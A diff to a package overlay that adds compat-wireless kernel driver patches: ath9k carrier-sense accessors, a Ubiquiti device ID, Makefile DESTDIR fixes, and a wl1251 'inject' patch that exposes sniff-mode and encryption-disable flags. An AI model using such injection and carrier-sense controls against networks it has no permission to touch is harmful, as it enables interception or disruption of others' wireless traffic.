+--- a/drivers/net/wireless/ath/ath9k/hw.h
++++ b/drivers/net/wireless/ath/ath9k/hw.h
+@@ -602,6 +602,10 @@ struct ath_hw {
+ 	u32 intr_gen_timer_trigger;
+ 	u32 intr_gen_timer_thresh;
+ 	struct ath_gen_timer_table hw_gen_timers;
++
++	/* Saved values of physical & virtual carrier sense */
++	int saved_phy_cs;
++	int saved_virt_cs;
+ };
+ 
+ static inline struct ath_common *ath9k_hw_common(struct ath_hw *ah)
+@@ -618,6 +622,10 @@ static inline struct ath_regulatory *ath9k_hw_regulatory(struct ath_hw *ah)
+ const char *ath9k_hw_probe(u16 vendorid, u16 devid);
+ void ath9k_hw_deinit(struct ath_hw *ah);
+ int ath9k_hw_init(struct ath_hw *ah);
++int ath9k_hw_get_phy_cs(struct ath_hw *ah);
++void ath9k_hw_set_phy_cs(struct ath_hw *ah, int val);
++int ath9k_hw_get_virt_cs(struct ath_hw *ah);
++void ath9k_hw_set_virt_cs(struct ath_hw *ah, int val);
+ int ath9k_hw_reset(struct ath_hw *ah, struct ath9k_channel *chan,
+ 		   bool bChannelChange);
+ int ath9k_hw_fill_cap_info(struct ath_hw *ah);
+
diff --git a/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch b/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch
new file mode 100644
index 00000000..ba455c98
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch
@@ -0,0 +1,20 @@
+commit 452d7dd816744efb5d0c22c2b038f2ffa5c7ec14
+Author: Sujith Manoharan <Sujith.Manoharan@atheros.com>
+Date:   Mon Dec 13 07:39:32 2010 +0530
+
+    ath9k_htc: Add Ubiquiti wifistation ext to supported devices
+    
+    Signed-off-by: Sujith Manoharan <Sujith.Manoharan@atheros.com>
+    Signed-off-by: John W. Linville <linville@tuxdriver.com>
+
+diff -Naur compat-wireless-2.6.37-4-sn-orig/drivers/net/wireless/ath/ath9k/hif_usb.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/ath/ath9k/hif_usb.c
+--- compat-wireless-2.6.37-4-sn-orig/drivers/net/wireless/ath/ath9k/hif_usb.c	2011-02-07 21:07:16.000000000 -0500
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/ath/ath9k/hif_usb.c	2011-02-07 21:07:56.000000000 -0500
+@@ -42,6 +42,7 @@
+ 	{ USB_DEVICE(0x04CA, 0x4605) }, /* Liteon */
+ 	{ USB_DEVICE(0x083A, 0xA704) }, /* SMC Networks */
+ 	{ USB_DEVICE(0x040D, 0x3801) }, /* VIA */
++	{ USB_DEVICE(0x0cf3, 0xb003) }, /* Ubiquiti WifiStation Ext */
+ 	{ USB_DEVICE(0x1668, 0x1200) }, /* Verizon */
+ 	{ },
+ };
diff --git a/net-wireless/compat-wireless/files/whynot-2.6.31.patch b/net-wireless/compat-wireless/files/whynot-2.6.31.patch
new file mode 100644
index 00000000..e04b6330
--- /dev/null
+++ b/net-wireless/compat-wireless/files/whynot-2.6.31.patch
@@ -0,0 +1,129 @@
+diff -Naur compat-wireless-2.6.31-rc4-orig/Makefile compat-wireless-2.6.31-rc4/Makefile
+--- compat-wireless-2.6.31-rc4-orig/Makefile	2009-07-22 17:27:26.000000000 -0400
++++ compat-wireless-2.6.31-rc4/Makefile	2009-07-30 16:35:59.000000000 -0400
+@@ -3,13 +3,9 @@
+ ifneq ($(origin $(KLIB)), undefined)
+ KMODPATH_ARG:=  "INSTALL_MOD_PATH=$(KLIB)"
+ else
+-export KLIB:=          /lib/modules/$(shell uname -r)
++export KLIB:=          $(DESTDIR)/lib/modules/$(KVER)
+ endif
+ export KLIB_BUILD ?=	$(KLIB)/build
+-# Sometimes not available in the path
+-MODPROBE := /sbin/modprobe
+-MADWIFI=$(shell $(MODPROBE) -l ath_pci)
+-OLD_IWL=$(shell $(MODPROBE) -l iwl4965)
+ 
+ ifneq ($(KERNELRELEASE),)
+ 
+@@ -62,34 +58,19 @@
+ 	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \
+ 		modules_install
+ 	@# All the scripts we can use
+-	@mkdir -p /usr/lib/compat-wireless/
+-	@install scripts/modlib.sh	/usr/lib/compat-wireless/
+-	@install scripts/madwifi-unload	/usr/sbin/
++	@mkdir -p $(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/modlib.sh      $(DESTDIR)/usr/lib/compat-wireless/
++	@mkdir -p $(DESTDIR)/usr/sbin/
++	@install scripts/madwifi-unload $(DESTDIR)/usr/sbin/
++
+ 	@# This is to allow switching between drivers without blacklisting
+-	@install scripts/athenable	/usr/sbin/
+-	@install scripts/b43enable	/usr/sbin/
+-	@install scripts/iwl-enable	/usr/sbin/
+-	@install scripts/athload	/usr/sbin/
+-	@install scripts/b43load	/usr/sbin/
+-	@install scripts/iwl-load	/usr/sbin/
+-	@if [ ! -z $(MADWIFI) ]; then \
+-		echo ;\
+-		echo -n "Note: madwifi detected, we're going to disable it. "  ;\
+-		echo "If you would like to enable it later you can run:"  ;\
+-		echo "    sudo athenable madwifi"  ;\
+-		echo ;\
+-		echo Running athenable ath5k...;\
+-		/usr/sbin/athenable ath5k ;\
+-	fi
+-	@if [ ! -z $(OLD_IWL) ]; then \
+-		echo ;\
+-		echo -n "Note: iwl4965 detected, we're going to disable it. "  ;\
+-		echo "If you would like to enable it later you can run:"  ;\
+-		echo "    sudo iwl-load iwl4965"  ;\
+-		echo ;\
+-		echo Running iwl-enable iwlagn...;\
+-		/usr/sbin/iwl-enable iwlagn ;\
+-	fi
++	@install scripts/athenable	${DESTDIR}/usr/sbin/
++	@install scripts/b43enable	${DESTDIR}/usr/sbin/
++	@install scripts/iwl-enable	${DESTDIR}/usr/sbin/
++	@install scripts/athload	${DESTDIR}/usr/sbin/
++	@install scripts/b43load	${DESTDIR}/usr/sbin/
++	@install scripts/iwl-load	${DESTDIR}/usr/sbin/
++
+ 	@# If on distributions like Mandriva which like to
+ 	@# compress their modules this will find out and do
+ 	@# it for you. Reason is some old version of modutils
+@@ -100,62 +81,7 @@
+ 	@# the updates/ dir which is what we use so we add one for it
+ 	@# (or any other distribution that doens't have this).
+ 	@./scripts/check_depmod
+-	@/sbin/depmod -ae
+-	@echo
+-	@echo "Currently detected wireless subsystem modules:"
+-	@echo 
+-	@$(MODPROBE) -l mac80211
+-	@$(MODPROBE) -l cfg80211
+-	@$(MODPROBE) -l lib80211
+-	@$(MODPROBE) -l adm8211
+-	@$(MODPROBE) -l ar9170usb
+-	@$(MODPROBE) -l at76c50x-usb
+-	@$(MODPROBE) -l ath
+-	@$(MODPROBE) -l ath5k
+-	@$(MODPROBE) -l ath9k
+-	@$(MODPROBE) -l b43
+-	@$(MODPROBE) -l b43legacy
+-	@$(MODPROBE) -l b44
+-	@$(MODPROBE) -l cdc_ether
+-	@$(MODPROBE) -l eeprom_93cx6
+-	@$(MODPROBE) -l ipw2100
+-	@$(MODPROBE) -l ipw2200
+-	@$(MODPROBE) -l iwl3945
+-	@$(MODPROBE) -l iwlagn
+-	@$(MODPROBE) -l iwlcore
+-	@$(MODPROBE) -l lib80211_crypt_ccmp
+-	@$(MODPROBE) -l lib80211_crypt_tkip
+-	@$(MODPROBE) -l lib80211_crypt_wep
+-	@$(MODPROBE) -l libertas
+-	@$(MODPROBE) -l libertas_cs
+-	@$(MODPROBE) -l libertas_sdio
+-	@$(MODPROBE) -l libertas_spi
+-	@$(MODPROBE) -l libertas_tf
+-	@$(MODPROBE) -l libertas_tf_usb
+-	@$(MODPROBE) -l libipw
+-	@$(MODPROBE) -l mac80211_hwsim
+-	@$(MODPROBE) -l mwl8k
+-	@$(MODPROBE) -l p54common
+-	@$(MODPROBE) -l p54pci
+-	@$(MODPROBE) -l p54spi
+-	@$(MODPROBE) -l p54usb
+-	@$(MODPROBE) -l rndis_host
+-	@$(MODPROBE) -l rndis_wlan
+-	@$(MODPROBE) -l rt2400pci
+-	@$(MODPROBE) -l rt2500pci
+-	@$(MODPROBE) -l rt2500usb
+-	@$(MODPROBE) -l rt2x00lib
+-	@$(MODPROBE) -l rt2x00pci
+-	@$(MODPROBE) -l rt2x00usb
+-	@$(MODPROBE) -l rt61pci
+-	@$(MODPROBE) -l rt73usb
+-	@$(MODPROBE) -l rtl8180
+-	@$(MODPROBE) -l rtl8187
+-	@$(MODPROBE) -l ssb
+-	@$(MODPROBE) -l usb8xxx
+-	@$(MODPROBE) -l usbnet
+-	@$(MODPROBE) -l zd1211rw
+-	@echo 
++
+ 	@echo Now run:
+ 	@echo 
+ 	@echo make unload
diff --git a/net-wireless/compat-wireless/files/whynot-2.6.32.patch b/net-wireless/compat-wireless/files/whynot-2.6.32.patch
new file mode 100644
index 00000000..165e7201
--- /dev/null
+++ b/net-wireless/compat-wireless/files/whynot-2.6.32.patch
@@ -0,0 +1,18 @@
+diff -Naur compat-wireless-2.6.32-rc1/Makefile compat-wireless-2.6.32-rc1-fixed/Makefile
+--- compat-wireless-2.6.32-rc1/Makefile	2009-10-02 19:40:50.000000000 -0400
++++ compat-wireless-2.6.32-rc1-fixed/Makefile	2009-10-02 22:14:04.000000000 -0400
+@@ -3,13 +3,9 @@
+ ifneq ($(origin KLIB), undefined)
+ KMODPATH_ARG:=  "INSTALL_MOD_PATH=$(KLIB)"
+ else
+-export KLIB:=          /lib/modules/$(shell uname -r)
++export KLIB:=          $(DESTDIR)/lib/modules/$(KVER)
+ endif
+ export KLIB_BUILD ?=	$(KLIB)/build
+-# Sometimes not available in the path
+-MODPROBE := /sbin/modprobe
+-MADWIFI=$(shell $(MODPROBE) -l ath_pci)
+-OLD_IWL=$(shell $(MODPROBE) -l iwl4965)
+ 
+ DESTDIR?=
+ 
diff --git a/net-wireless/compat-wireless/files/whynot.patch b/net-wireless/compat-wireless/files/whynot.patch
new file mode 100644
index 00000000..e932cfdb
--- /dev/null
+++ b/net-wireless/compat-wireless/files/whynot.patch
@@ -0,0 +1,122 @@
+diff -Naur compat-wireless-2.6.30-rc6.orig/Makefile compat-wireless-2.6.30-rc6/Makefile
+--- compat-wireless-2.6.30-rc6.orig/Makefile	2009-05-17 21:48:36.000000000 +0000
++++ compat-wireless-2.6.30-rc6/Makefile	2009-05-27 12:21:51.000000000 +0000
+@@ -3,13 +3,10 @@
+ ifneq ($(origin $(KLIB)), undefined)
+ KMODPATH_ARG:=  "INSTALL_MOD_PATH=$(KLIB)"
+ else
+-export KLIB:=          /lib/modules/$(shell uname -r)
++export KLIB:=          $(DESTDIR)/lib/modules/$(KVER)
+ endif
+ export KLIB_BUILD ?=	$(KLIB)/build
+ # Sometimes not available in the path
+-MODPROBE := /sbin/modprobe
+-MADWIFI=$(shell $(MODPROBE) -l ath_pci)
+-OLD_IWL=$(shell $(MODPROBE) -l iwl4965)
+ 
+ ifneq ($(KERNELRELEASE),)
+ 
+@@ -59,92 +56,26 @@
+ 	@md5sum $(COMPAT_CONFIG) > $(CONFIG_CHECK)
+ 
+ install: uninstall modules
+-	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \
++	$(MAKE) -C /lib/modules/$(KVER)/build M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \
+ 		modules_install
+ 	@# All the scripts we can use
+-	@mkdir -p /usr/lib/compat-wireless/
+-	@install scripts/modlib.sh	/usr/lib/compat-wireless/
+-	@install scripts/madwifi-unload	/usr/sbin/
++	@mkdir -p $(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/modlib.sh	$(DESTDIR)/usr/lib/compat-wireless/
++	@mkdir -p $(DESTDIR)/usr/sbin/
++	@install scripts/madwifi-unload	$(DESTDIR)/usr/sbin/
+ 	@# This is to allow switching between drivers without blacklisting
+-	@install scripts/athenable	/usr/sbin/
+-	@install scripts/b43enable	/usr/sbin/
+-	@install scripts/iwl-enable	/usr/sbin/
+-	@install scripts/athload	/usr/sbin/
+-	@install scripts/b43load	/usr/sbin/
+-	@install scripts/iwl-load	/usr/sbin/
+-	@if [ ! -z $(MADWIFI) ]; then \
+-		echo ;\
+-		echo -n "Note: madwifi detected, we're going to disable it. "  ;\
+-		echo "If you would like to enable it later you can run:"  ;\
+-		echo "    sudo athenable madwifi"  ;\
+-		echo ;\
+-		echo Running athenable ath5k...;\
+-		/usr/sbin/athenable ath5k ;\
+-	fi
+-	@if [ ! -z $(OLD_IWL) ]; then \
+-		echo ;\
+-		echo -n "Note: iwl4965 detected, we're going to disable it. "  ;\
+-		echo "If you would like to enable it later you can run:"  ;\
+-		echo "    sudo iwl-load iwl4965"  ;\
+-		echo ;\
+-		echo Running iwl-enable iwlagn...;\
+-		/usr/sbin/iwl-enable iwlagn ;\
+-	fi
++	@install scripts/athenable	$(DESTDIR)/usr/sbin/
++	@install scripts/b43enable	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-enable	$(DESTDIR)/usr/sbin/
++	@install scripts/athload	$(DESTDIR)/usr/sbin/
++	@install scripts/b43load	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-load	$(DESTDIR)/usr/sbin/
+ 	@# If on distributions like Mandriva which like to
+ 	@# compress their modules this will find out and do
+ 	@# it for you. Reason is some old version of modutils
+ 	@# won't know mac80211.ko should be used instead of
+ 	@# mac80211.ko.gz
+ 	@./scripts/compress_modules
+-	@/sbin/depmod -ae
+-	@echo
+-	@echo "Currently detected wireless subsystem modules:"
+-	@echo 
+-	@$(MODPROBE) -l mac80211
+-	@$(MODPROBE) -l cfg80211
+-	@$(MODPROBE) -l lib80211
+-	@$(MODPROBE) -l adm8211
+-	@$(MODPROBE) -l at76c50x-usb
+-	@$(MODPROBE) -l ath5k
+-	@$(MODPROBE) -l ath9k
+-	@$(MODPROBE) -l b43
+-	@$(MODPROBE) -l b43legacy
+-	@$(MODPROBE) -l b44
+-	@$(MODPROBE) -l ssb
+-	@$(MODPROBE) -l rc80211_simple
+-	@$(MODPROBE) -l iwlcore
+-	@$(MODPROBE) -l iwl3945
+-	@$(MODPROBE) -l iwlagn
+-	@$(MODPROBE) -l ipw2100
+-	@$(MODPROBE) -l ipw2200
+-	@$(MODPROBE) -l libipw
+-	@$(MODPROBE) -l lib80211
+-	@$(MODPROBE) -l lib80211_crypt
+-	@$(MODPROBE) -l libertas_cs
+-	@$(MODPROBE) -l libertas_tf
+-	@$(MODPROBE) -l libertas_tf_usb
+-	@$(MODPROBE) -l ub8xxx
+-	@$(MODPROBE) -l p54pci
+-	@$(MODPROBE) -l p54usb
+-	@$(MODPROBE) -l rt2400pci
+-	@$(MODPROBE) -l rt2500pci
+-	@$(MODPROBE) -l rt2500usb
+-	@$(MODPROBE) -l rt61pci
+-	@$(MODPROBE) -l rt73usb
+-	@$(MODPROBE) -l usbnet
+-	@$(MODPROBE) -l cdc_ether
+-	@$(MODPROBE) -l rndis_host
+-	@$(MODPROBE) -l rndis_wlan
+-	@$(MODPROBE) -l rtl8180
+-	@$(MODPROBE) -l rtl8187
+-	@$(MODPROBE) -l zd1211rw
+-	@echo 
+-	@echo Now run:
+-	@echo 
+-	@echo make unload
+-	@echo
+-	@echo And then load the wireless module you need. If unsure reboot.
+-	@echo
+ 
+ uninstall:
+ 	@# New location, matches upstream
diff --git a/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch b/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch
new file mode 100644
index 00000000..14c32047
--- /dev/null
+++ b/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch
@@ -0,0 +1,1685 @@
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.c	2011-08-23 17:07:28.000000000 +0200
+@@ -211,7 +211,7 @@
+ 	return ret;
+ }
+ 
+-int wl1251_acx_feature_cfg(struct wl1251 *wl)
++int wl1251_acx_feature_cfg(struct wl1251 *wl, u32 data_flow_options)
+ {
+ 	struct acx_feature_config *feature;
+ 	int ret;
+@@ -224,8 +224,8 @@
+ 		goto out;
+ 	}
+ 
+-	/* DF_ENCRYPTION_DISABLE and DF_SNIFF_MODE_ENABLE are disabled */
+-	feature->data_flow_options = 0;
++	/* DF_ENCRYPTION_DISABLE and DF_SNIFF_MODE_ENABLE can be set */
++	feature->data_flow_options = data_flow_options;
+ 	feature->options = 0;
+ 
+ 	ret = wl1251_cmd_configure(wl, ACX_FEATURE_CFG,
+@@ -410,7 +410,8 @@
+ 	return ret;
+ }
+ 
+-int wl1251_acx_group_address_tbl(struct wl1251 *wl)
++int wl1251_acx_group_address_tbl(struct wl1251 *wl, bool enable,
++				 void *mc_list, u32 mc_list_len)
+ {
+ 	struct acx_dot11_grp_addr_tbl *acx;
+ 	int ret;
+@@ -424,9 +425,9 @@
+ 	}
+ 
+ 	/* MAC filtering */
+-	acx->enabled = 0;
+-	acx->num_groups = 0;
+-	memset(acx->mac_table, 0, ADDRESS_GROUP_MAX_LEN);
++	acx->enabled = enable;
++	acx->num_groups = mc_list_len;
++	memcpy(acx->mac_table, mc_list, mc_list_len * ETH_ALEN);
+ 
+ 	ret = wl1251_cmd_configure(wl, DOT11_GROUP_ADDRESS_TBL,
+ 				   acx, sizeof(*acx));
+@@ -583,7 +584,7 @@
+ 	return ret;
+ }
+ 
+-int wl1251_acx_sg_enable(struct wl1251 *wl)
++int wl1251_acx_sg_enable(struct wl1251 *wl, u8 mode)
+ {
+ 	struct acx_bt_wlan_coex *pta;
+ 	int ret;
+@@ -596,7 +597,7 @@
+ 		goto out;
+ 	}
+ 
+-	pta->enable = SG_ENABLE;
++	pta->enable = mode;
+ 
+ 	ret = wl1251_cmd_configure(wl, ACX_SG_ENABLE, pta, sizeof(*pta));
+ 	if (ret < 0) {
+@@ -609,7 +610,7 @@
+ 	return ret;
+ }
+ 
+-int wl1251_acx_sg_cfg(struct wl1251 *wl)
++int wl1251_acx_sg_cfg(struct wl1251 *wl, u16 wake_up_beacon)
+ {
+ 	struct acx_bt_wlan_coex_param *param;
+ 	int ret;
+@@ -634,7 +635,7 @@
+ 	param->wlan_cycle_fast = PTA_CYCLE_TIME_FAST_DEF;
+ 	param->bt_anti_starvation_period = PTA_ANTI_STARVE_PERIOD_DEF;
+ 	param->next_bt_lp_packet = PTA_TIMEOUT_NEXT_BT_LP_PACKET_DEF;
+-	param->wake_up_beacon = PTA_TIME_BEFORE_BEACON_DEF;
++	param->wake_up_beacon = wake_up_beacon;
+ 	param->hp_dm_max_guard_time = PTA_HPDM_MAX_TIME_DEF;
+ 	param->next_wlan_packet = PTA_TIME_OUT_NEXT_WLAN_DEF;
+ 	param->antenna_type = PTA_ANTENNA_TYPE_DEF;
+@@ -663,6 +664,41 @@
+ 	return ret;
+ }
+ 
++int wl1251_acx_sg_configure(struct wl1251 *wl, bool force)
++{
++	int ret;
++
++	if (wl->state == WL1251_STATE_OFF && !force)
++		return 0;
++
++	switch (wl->bt_coex_mode) {
++	case WL1251_BT_COEX_OFF:
++		ret = wl1251_acx_sg_enable(wl, SG_DISABLE);
++		if (ret)
++			break;
++		ret = wl1251_acx_sg_cfg(wl, 0);
++		break;
++	case WL1251_BT_COEX_ENABLE:
++		ret = wl1251_acx_sg_enable(wl, SG_ENABLE);
++		if (ret)
++			break;
++		ret = wl1251_acx_sg_cfg(wl, PTA_TIME_BEFORE_BEACON_DEF);
++		break;
++	case WL1251_BT_COEX_MONOAUDIO:
++		ret = wl1251_acx_sg_enable(wl, SG_ENABLE);
++		if (ret)
++			break;
++		ret = wl1251_acx_sg_cfg(wl, PTA_TIME_BEFORE_BEACON_MONO_AUDIO);
++		break;
++	default:
++		wl1251_error("Invalid BT co-ex mode!");
++		ret = -EOPNOTSUPP;
++		break;
++	}
++
++	return ret;
++}
++
+ int wl1251_acx_cca_threshold(struct wl1251 *wl)
+ {
+ 	struct acx_energy_detection *detection;
+@@ -776,6 +812,31 @@
+ 	return ret;
+ }
+ 
++int wl1251_acx_low_rssi(struct wl1251 *wl, s8 threshold, u8 weight,
++			u8 depth, enum wl1251_acx_low_rssi_type type)
++{
++	struct acx_low_rssi *rssi;
++	int ret;
++
++	wl1251_debug(DEBUG_ACX, "acx low rssi");
++
++	rssi = kzalloc(sizeof(*rssi), GFP_KERNEL);
++	if (!rssi)
++		return -ENOMEM;
++
++	rssi->threshold = threshold;
++	rssi->weight = weight;
++	rssi->depth = depth;
++	rssi->type = type;
++
++	ret = wl1251_cmd_configure(wl, ACX_LOW_RSSI, rssi, sizeof(*rssi));
++	if (ret < 0)
++		wl1251_warning("failed to set low rssi threshold: %d", ret);
++
++	kfree(rssi);
++	return ret;
++}
++
+ int wl1251_acx_set_preamble(struct wl1251 *wl, enum acx_preamble_type preamble)
+ {
+ 	struct acx_preamble *acx;
+@@ -886,12 +947,18 @@
+ 	}
+ 
+ 	/* configure one default (one-size-fits-all) rate class */
+-	acx->rate_class_cnt = 1;
++	acx->rate_class_cnt = 2;
+ 	acx->rate_class[0].enabled_rates = ACX_RATE_MASK_UNSPECIFIED;
+ 	acx->rate_class[0].short_retry_limit = ACX_RATE_RETRY_LIMIT;
+ 	acx->rate_class[0].long_retry_limit = ACX_RATE_RETRY_LIMIT;
+ 	acx->rate_class[0].aflags = 0;
+ 
++	/* no-retry rate class */
++	acx->rate_class[1].enabled_rates = ACX_RATE_MASK_UNSPECIFIED;
++	acx->rate_class[1].short_retry_limit = 0;
++	acx->rate_class[1].long_retry_limit = 0;
++	acx->rate_class[1].aflags = 0;
++
+ 	ret = wl1251_cmd_configure(wl, ACX_RATE_POLICY, acx, sizeof(*acx));
+ 	if (ret < 0) {
+ 		wl1251_warning("Setting of rate policies failed: %d", ret);
+@@ -973,6 +1040,65 @@
+ 		goto out;
+ 	}
+ 
++out:
++	kfree(acx);
++	return ret;
++}
++
++int wl1251_acx_bet_enable(struct wl1251 *wl, enum wl1251_acx_bet_mode mode,
++			  u8 max_consecutive)
++{
++	struct wl1251_acx_bet_enable *acx;
++	int ret;
++
++	wl1251_debug(DEBUG_ACX, "acx bet enable");
++
++	acx = kzalloc(sizeof(*acx), GFP_KERNEL);
++	if (!acx) {
++		ret = -ENOMEM;
++		goto out;
++	}
++
++	acx->enable = mode;
++	acx->max_consecutive = max_consecutive;
++
++	ret = wl1251_cmd_configure(wl, ACX_BET_ENABLE, acx, sizeof(*acx));
++	if (ret < 0) {
++		wl1251_warning("wl1251 acx bet enable failed: %d", ret);
++		goto out;
++	}
++
++out:
++	kfree(acx);
++	return ret;
++}
++
++int wl1251_acx_arp_ip_filter(struct wl1251 *wl, bool enable, __be32 address)
++{
++	struct wl1251_acx_arp_filter *acx;
++	int ret;
++
++	wl1251_debug(DEBUG_ACX, "acx arp ip filter, enable: %d", enable);
++
++	acx = kzalloc(sizeof(*acx), GFP_KERNEL);
++	if (!acx) {
++		ret = -ENOMEM;
++		goto out;
++	}
++
++	acx->version = ACX_IPV4_VERSION;
++	acx->enable = enable;
++
++	if (enable == true)
++		memcpy(acx->address, &address, ACX_IPV4_ADDR_SIZE);
++
++	ret = wl1251_cmd_configure(wl, ACX_ARP_IP_FILTER,
++				   acx, sizeof(*acx));
++	if (ret < 0) {
++		wl1251_warning("failed to set arp ip filter: %d", ret);
++		goto out;
++	}
++
+ out:
+ 	kfree(acx);
+ 	return ret;
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.h
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.h	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.h	2011-08-23 17:07:20.000000000 +0200
+@@ -350,8 +350,8 @@
+ } __packed;
+ 
+ 
+-#define ADDRESS_GROUP_MAX	(8)
+-#define ADDRESS_GROUP_MAX_LEN	(ETH_ALEN * ADDRESS_GROUP_MAX)
++#define ACX_MC_ADDRESS_GROUP_MAX	(8)
++#define ACX_MC_ADDRESS_GROUP_MAX_LEN	(ETH_ALEN * ACX_MC_ADDRESS_GROUP_MAX)
+ 
+ struct acx_dot11_grp_addr_tbl {
+ 	struct acx_header header;
+@@ -359,7 +359,7 @@
+ 	u8 enabled;
+ 	u8 num_groups;
+ 	u8 pad[2];
+-	u8 mac_table[ADDRESS_GROUP_MAX_LEN];
++	u8 mac_table[ACX_MC_ADDRESS_GROUP_MAX_LEN];
+ } __packed;
+ 
+ 
+@@ -399,6 +399,49 @@
+ 	u8 pad[2];
+ } __packed;
+ 
++enum wl1251_acx_low_rssi_type {
++	/*
++	 * The event is a "Level" indication which keeps triggering
++	 * as long as the average RSSI is below the threshold.
++	 */
++	WL1251_ACX_LOW_RSSI_TYPE_LEVEL = 0,
++
++	/*
++	 * The event is an "Edge" indication which triggers
++	 * only when the RSSI threshold is crossed from above.
++	 */
++	WL1251_ACX_LOW_RSSI_TYPE_EDGE = 1,
++};
++
++struct acx_low_rssi {
++	struct acx_header header;
++
++	/*
++	 * The threshold (in dBm) below (or above after low rssi
++	 * indication) which the firmware generates an interrupt to the
++	 * host. This parameter is signed.
++	 */
++	s8 threshold;
++
++	/*
++	 * The weight of the current RSSI sample, before adding the new
++	 * sample, that is used to calculate the average RSSI.
++	 */
++	u8 weight;
++
++	/*
++	 * The number of Beacons/Probe response frames that will be
++	 * received before issuing the Low or Regained RSSI event.
++	 */
++	u8 depth;
++
++	/*
++	 * Configures how the Low RSSI Event is triggered. Refer to
++	 * enum wl1251_acx_low_rssi_type for more.
++	 */
++	u8 type;
++} __packed;
++
+ struct acx_beacon_filter_option {
+ 	struct acx_header header;
+ 
+@@ -515,7 +558,8 @@
+ #define PTA_ANTI_STARVE_PERIOD_DEF	  (500)
+ #define PTA_ANTI_STARVE_NUM_CYCLE_DEF	  (4)
+ #define PTA_ALLOW_PA_SD_DEF		  (1)
+-#define PTA_TIME_BEFORE_BEACON_DEF	  (6300)
++#define PTA_TIME_BEFORE_BEACON_DEF	  (500)
++#define PTA_TIME_BEFORE_BEACON_MONO_AUDIO (6300)
+ #define PTA_HPDM_MAX_TIME_DEF		  (1600)
+ #define PTA_TIME_OUT_NEXT_WLAN_DEF	  (2550)
+ #define PTA_AUTO_MODE_NO_CTS_DEF	  (0)
+@@ -1164,6 +1208,45 @@
+ 	u8  padding;
+ } __packed;
+ 
++enum wl1251_acx_bet_mode {
++	WL1251_ACX_BET_DISABLE = 0,
++	WL1251_ACX_BET_ENABLE = 1,
++};
++
++struct wl1251_acx_bet_enable {
++	struct acx_header header;
++
++	/*
++	 * Specifies if beacon early termination procedure is enabled or
++	 * disabled, see enum wl1251_acx_bet_mode.
++	 */
++	u8 enable;
++
++	/*
++	 * Specifies the maximum number of consecutive beacons that may be
++	 * early terminated. After this number is reached at least one full
++	 * beacon must be correctly received in FW before beacon ET
++	 * resumes. Range 0 - 255.
++	 */
++	u8 max_consecutive;
++
++	u8 padding[2];
++} __attribute__ ((packed));
++
++#define ACX_IPV4_VERSION 4
++#define ACX_IPV6_VERSION 6
++#define ACX_IPV4_ADDR_SIZE 4
++struct wl1251_acx_arp_filter {
++	struct acx_header header;
++	u8 version;	/* The IP version: 4 - IPv4, 6 - IPv6.*/
++	u8 enable;	/* 1 - ARP filtering is enabled, 0 - disabled */
++	u8 padding[2];
++	u8 address[16];	/* The IP address used to filter ARP packets.
++			   ARP packets that do not match this address are
++			   dropped. When the IP Version is 4, the last 12
++			   bytes of the the address are ignored. */
++} __attribute__((packed));
++
+ struct wl1251_acx_ac_cfg {
+ 	struct acx_header header;
+ 
+@@ -1372,7 +1455,7 @@
+ int wl1251_acx_sleep_auth(struct wl1251 *wl, u8 sleep_auth);
+ int wl1251_acx_fw_version(struct wl1251 *wl, char *buf, size_t len);
+ int wl1251_acx_tx_power(struct wl1251 *wl, int power);
+-int wl1251_acx_feature_cfg(struct wl1251 *wl);
++int wl1251_acx_feature_cfg(struct wl1251 *wl, u32 data_flow_options);
+ int wl1251_acx_mem_map(struct wl1251 *wl,
+ 		       struct acx_header *mem_map, size_t len);
+ int wl1251_acx_data_path_params(struct wl1251 *wl,
+@@ -1381,18 +1464,22 @@
+ int wl1251_acx_rx_config(struct wl1251 *wl, u32 config, u32 filter);
+ int wl1251_acx_pd_threshold(struct wl1251 *wl);
+ int wl1251_acx_slot(struct wl1251 *wl, enum acx_slot_type slot_time);
+-int wl1251_acx_group_address_tbl(struct wl1251 *wl);
++int wl1251_acx_group_address_tbl(struct wl1251 *wl, bool enable,
++				 void *mc_list, u32 mc_list_len);
+ int wl1251_acx_service_period_timeout(struct wl1251 *wl);
+ int wl1251_acx_rts_threshold(struct wl1251 *wl, u16 rts_threshold);
+ int wl1251_acx_beacon_filter_opt(struct wl1251 *wl, bool enable_filter);
+ int wl1251_acx_beacon_filter_table(struct wl1251 *wl);
+ int wl1251_acx_conn_monit_params(struct wl1251 *wl);
+-int wl1251_acx_sg_enable(struct wl1251 *wl);
+-int wl1251_acx_sg_cfg(struct wl1251 *wl);
++int wl1251_acx_sg_enable(struct wl1251 *wl, u8 mode);
++int wl1251_acx_sg_cfg(struct wl1251 *wl, u16 wake_up_beacon);
++int wl1251_acx_sg_configure(struct wl1251 *wl, bool force);
+ int wl1251_acx_cca_threshold(struct wl1251 *wl);
+ int wl1251_acx_bcn_dtim_options(struct wl1251 *wl);
+ int wl1251_acx_aid(struct wl1251 *wl, u16 aid);
